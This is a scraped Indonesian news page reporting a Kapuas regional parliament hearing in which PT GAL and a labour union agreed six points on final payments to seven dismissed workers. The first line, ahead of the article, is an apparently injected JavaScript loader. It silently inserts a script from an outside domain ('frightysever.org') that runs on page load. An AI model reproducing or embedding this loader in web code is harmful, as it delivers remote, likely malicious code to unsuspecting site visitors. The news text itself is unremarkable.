(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

DPRD Kapuas RDP dengan PT GAL dan Serikat Buruh Penyelesaian Hak Karyawan, Ini Enam Poin Kesepakatan


KANALKALIMANTAN.COM, KUALA KAPUAS – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas melalui Komisi II dan Komisi IV menggelar Rapat Dengar Pendapat (RDP) dengan PT Globalindo Agung Lestari (GAL), Senin (7/11/2022).

RDP berlangsung di ruang rapat gabungan DPRD Kapuas ini dihadiri Serikat Buruh Sejahtera mandiri (SBSM) PT GAL, Dinas Tenaga Kerja Kabupaten Kapuas, dan PT GAL.

Rapat dipimpin Ketua Komisi IV DPRD Kapuas, Syarkawi H Sibu, didampingi Wakil Ketua Komisi II DPRD Kapuas, H Darwandie dan sejumlah anggota dewan, dengan agenda penyelesaian hak terakhir 7 karyawan PT GAL.

Setelah dilakukan diskusi, disepakati enam poin hasil RDP yang dituangkan ke dalam berita acara rapat.

 

Baca juga : Kontingen Tanbu Sementara Raih 38 Medali di Ajang Porprov Kalsel

“Pertama PT GAL siap membayarkan hak tujuh orang karyawan yang telah dilakukan pemutusan hubungan kerja yang direalisasikan hari ini sebagai tindak lanjut kesepakatan bersama antara Serikat Buruh Sejahtera Mandiri dengan PT GAL pada 21 Juli 2022,” kata Syarkawi seusai pimpin rapat.

Kedua, SBBM dan PT GAL segera menginformasikan kepada pihak pengadilan hubungan industrial terkait dengan penyelesaian perjanjian bersama pada 27 Oktober 2022 .

“Ketiga, perusahaan dan serikat buruh berkomitmen membangun komunikasi hubungan industrial secara baik,” ucap Syarkawi.

Poin keempat, eksekutif menjadwalkan pertemuan secara rutin atau berkala antara pemerintah daerah, perusahaan dan pekerja.

 

Baca juga : Catat Rekor MURI, Turdes Gubernur Kalsel Tempuh Jarak 1.000 Km

“Kelima diminta kepada perusahaan untuk memberikan fasilitas dan kesempatan pada penduduk lokal menduduki jabatan strategis di perusahaan, sesuai dengan standar kualifikasi yang dibutuhkan,” jelasnya.

Lalu, poin keenam pihak perusahaan berkontribusi aktif dalam membangun daerah melalui program CSR an kewajiban membayar pajak, serta kontribusi lainnya.

Sementara itu, HRD Manajer PT GAL, Firman mengatakan, sesuai dengan surat berita acara hasil RDP di DPRD Kapuas, sebenarnya permasalahan ini sudah selesai tapi tertunda sampai harus ada terjadi RDP. “Ke depannya tentunya PT GAL berkomitmen seperti selama ini hak-hak karyawan pastinya asal sesuai normatif pasti kita selesaikan,” ucap Firman. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

45 menit ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

1 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

14 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

15 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

15 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

15 jam ago

This website uses cookies.